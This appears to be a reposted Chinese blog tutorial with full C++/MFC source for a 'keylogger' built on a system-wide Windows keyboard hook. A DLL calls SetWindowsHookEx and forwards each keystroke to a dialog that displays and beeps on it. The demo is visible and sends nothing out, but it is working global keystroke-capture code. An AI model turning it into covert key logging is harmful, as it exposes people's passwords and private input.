键盘记录器-------HOOK的应用举例
来源:互联网 发布:手机开启数据 没有网络 编辑:程序博客网 时间:2024/05/21 08:50
KeyHookApp.cpp
1 //////////////////////////////////////////////// 2 // KeyHookApp.cpp文件 3 4 #include "resource.h" 5 #include "KeyHookApp.h" 6 #include "../09KeyHookLib/KeyHookLib.h" 7 8 #pragma comment(lib, "09KeyHookLib") 9 10 CMyApp theApp;11 12 BOOL CMyApp::InitInstance()13 {14 CMainDialog dlg;15 m_pMainWnd = &dlg;16 dlg.DoModal();17 return FALSE;18 }19 20 CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)21 {22 }23 24 BEGIN_MESSAGE_MAP(CMainDialog, CDialog)25 ON_MESSAGE(HM_KEY, OnHookKey)26 END_MESSAGE_MAP()27 28 BOOL CMainDialog::OnInitDialog()29 {30 CDialog::OnInitDialog();31 SetIcon(theApp.LoadIcon(IDI_MAIN), FALSE);32 ::SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 33 0, 0, SWP_NOSIZE|SWP_NOREDRAW|SWP_NOMOVE);34 35 // 安装钩子36 if(!SetKeyHook(TRUE, 0, m_hWnd))37 MessageBox("安装钩子失败!");38 39 return TRUE;40 }41 42 43 void CMainDialog::OnCancel()44 {45 // 卸载钩子46 SetKeyHook(FALSE);47 CDialog::OnCancel();48 return;49 }50 51 long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)52 {53 // 此时参数wParam为用户按键的虚拟键码,54 // lParam参数包含按键的重复次数、扫描码、前一个按键状态等信息55 56 char szKey[80];57 ::GetKeyNameText(lParam, szKey, 80);58 59 CString strItem;60 strItem.Format(" 用户按键:%s \r\n", szKey);61 // 添加到编辑框中62 CString strEdit;63 GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);64 GetDlgItem(IDC_KEYMSG)->SetWindowText(strItem + strEdit);65 66 ::MessageBeep(MB_OK);67 return 0;68 }
MainDir.h文件
1 /////////////////////////////////////////// 2 // MainDir.h文件 // 07MainDir 3 4 #include <afxwin.h> 5 6 7 class CMyApp : public CWinApp 8 { 9 public:10 BOOL InitInstance();11 };12 13 class CMainDialog : public CDialog14 {15 public:16 CMainDialog(CWnd* pParentWnd = NULL);17 18 protected:19 virtual BOOL OnInitDialog();20 virtual void OnCancel();21 22 afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);23 24 DECLARE_MESSAGE_MAP()25 };
resource.h
1 //{{NO_DEPENDENCIES}} 2 // Microsoft Developer Studio generated include file. 3 // Used by KeyHookApp.rc 4 // 5 #define IDD_MAIN 101 6 #define IDI_MAIN 103 7 #define IDC_KEYMSG 1000 8 9 // Next default values for new objects10 // 11 #ifdef APSTUDIO_INVOKED12 #ifndef APSTUDIO_READONLY_SYMBOLS13 #define _APS_NEXT_RESOURCE_VALUE 10414 #define _APS_NEXT_COMMAND_VALUE 4000115 #define _APS_NEXT_CONTROL_VALUE 100116 #define _APS_NEXT_SYMED_VALUE 10117 #endif18 #endif
上面是app工程中包含的代码
下面是dll对应的代码
KeyHookLib.cpp文件
1 //////////////////////////////////////////////// 2 // KeyHookLib.cpp文件 3 4 #include <windows.h> 5 6 #define KEYHOOKLIB_EXPORTS 7 #include "KeyHookLib.h" 8 9 10 // 共享数据段11 #pragma data_seg("YCIShared")12 HWND g_hWndCaller = NULL; // 保存主窗口句柄13 HHOOK g_hHook = NULL; // 保存钩子句柄14 #pragma data_seg()15 16 // 一个通过内存地址取得模块句柄的帮助函数17 HMODULE WINAPI ModuleFromAddress(PVOID pv) 18 {19 MEMORY_BASIC_INFORMATION mbi;20 if(::VirtualQuery(pv, &mbi, sizeof(mbi)) != 0)21 {22 return (HMODULE)mbi.AllocationBase;23 }24 else25 {26 return NULL;27 }28 }29 30 // 键盘钩子函数31 LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam)32 {33 if(nCode < 0 || nCode == HC_NOREMOVE)34 return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);35 36 if(lParam & 0x40000000) // 消息重复就交给下一个hook链37 {38 return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);39 }40 41 // 通知主窗口。wParam参数为虚拟键码, lParam参数包含了此键的信息42 ::PostMessage(g_hWndCaller, HM_KEY, wParam, lParam);43 44 return ::CallNextHookEx(g_hHook, nCode, wParam, lParam);45 }46 47 // 安装、卸载钩子的函数48 BOOL WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)49 {50 BOOL bOk;51 g_hWndCaller = hWndCaller;52 53 if(bInstall)54 {55 g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 56 ModuleFromAddress(KeyHookProc), dwThreadId);57 bOk = (g_hHook != NULL);58 } 59 else 60 {61 bOk = ::UnhookWindowsHookEx(g_hHook);62 g_hHook = NULL;63 }64 65 return bOk;66 }
KeyHookLib.h文件
1 /////////////////////////////////////////// 2 // KeyHookLib.h文件 3 4 // 定义函数修饰宏,方便引用本DLL工程的导出函数 5 #ifdef KEYHOOKLIB_EXPORTS 6 #define KEYHOOKLIB_API __declspec(dllexport) 7 #else 8 #define KEYHOOKLIB_API __declspec(dllimport) 9 #endif10 11 // 自定义与主程序通信的消息12 #define HM_KEY WM_USER + 10113 14 // 声明要导出的函数15 BOOL KEYHOOKLIB_API WINAPI SetKeyHook(BOOL bInstall, 16 DWORD dwThreadId = 0, HWND hWndCaller = NULL);
同时应还包含***.def文件
- 键盘记录器-------HOOK的应用举例
- hook:实现简单的键盘记录器
- 键盘记录器 --- hook keboard event handling
- 键盘记录器
- 键盘记录器
- 键盘记录器
- 键盘记录器
- 利用debug功能的键盘记录器
- 键盘记录器 怎么用
- C#键盘记录器
- 键盘击键记录器
- C#键盘记录器
- javascript 键盘记录器
- 无钩子键盘记录器
- Python编写键盘记录器
- python实现键盘记录器
- python-实现键盘记录器
- 早年用WIN32汇编写的反键盘记录器
- Solaris 11 gcc 编译器
- android found tag Stirng where item is expected解决办法
- 禁止U盘拷贝文件
- Oracle事务、锁表查询及相关实用SQL语句查询
- 视频矩阵
- 键盘记录器-------HOOK的应用举例
- 让整个table居于页面正中间(上下,左右都居中)
- 管网:lldb,gdb 指令:http://lldb.llvm.org/varformats.html
- Linux下缓冲区溢出攻击的原理及对策
- Javascript中最常用的55个经典技巧
- 【原创】用 Python 反编译 Python 软件
- altium designer的电路板外形设计
- 正则表达式笔记
- jQuery中的$.getJSON